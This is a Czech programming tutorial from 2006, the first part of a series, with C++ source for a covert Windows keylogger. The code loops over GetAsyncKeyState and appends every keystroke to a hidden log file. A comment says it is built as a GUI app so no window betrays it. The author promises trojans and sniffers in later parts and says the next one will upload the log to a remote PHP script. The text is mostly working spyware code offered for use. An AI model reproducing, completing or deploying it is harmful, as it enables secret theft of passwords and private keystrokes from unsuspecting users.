Zpět na seznam článků     Číst komentáře (19)     Verze pro tisk

C++ spolu, chutne a prakticky - (1)

Autor: mad_eye   
4.6.2006

Vitam vas u tohoto noveho obcasniku. V tomto prvnim dile si napiseme jednoduchy win keylogger.


Chtel bych predestrit ze ocekavam od ctenaru znalost zakladu jazyka C/C++ a spise nez jejich rozebirani se tento serial bude venovat konkretnim prikladum pouziti techto znalosti v praxi. Napiseme si sniffery, scannery, trojany, terminalove klienty a mnoho dalsiho. Pod windows budu pouzivat freewarove prostredi Dev-C++, v linexech potom GNU C/C++ Tak tedy konec kecu a vzhuru do prace. Dnes budeme prgat keylogger.

#include
#include
#include
#include
using namespace std;//Datovy typ string se nam bude hodit

void klavesa(int key){
   string prd;
   ofstream out(".\\key.txt",ios::app);//oteviram datovy stream pro zapis na konec souboru
   prd = vkctostring(key);//konvertuju virtual key code klavesy do rozumneho tvaru(slovni chrakterizaci klavesy ci odpovidajici ascii hodnoty)
   out << prd;//zapisuji do streamu
}

int WINAPI WinMain (HINSTANCE instance, HINSTANCE previous, LPSTR commandline, int show)//Psano jako winaplikace, dos prompt okno na nenapadnosti neprida
{
   int key;
   while(1){ //nekonecne cyklim
      for(key=8;key<=190;key++){//projizdim vsechny myslitelne keykody
         if (GetAsyncKeyState(key) == -32767)klavesa(key);//kdyz je stlacena klavesa s dannym keycodem predaam ho funkci klavesa() pro dalsi zpracovani
      }
   }
return (0);
}

Jak jste si jiste vsimli, chybi zde funkce vkctostring() slouzici pro konvert virtualniho keycodu na jeho adekvatni stringovy protejsek. To je prostor pro ono "spolu" avizovane v nadpisu. Tesim se na vase navrhy v diskuzi pod clankem. To je pro tuto chvili vse, priste obsah logfilu posleme vzdalenemu PHP scriptu, ktery nam ho ulozi na webovy server.

Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 1/1

1  2  3  4  5    
(známkování jako ve škole)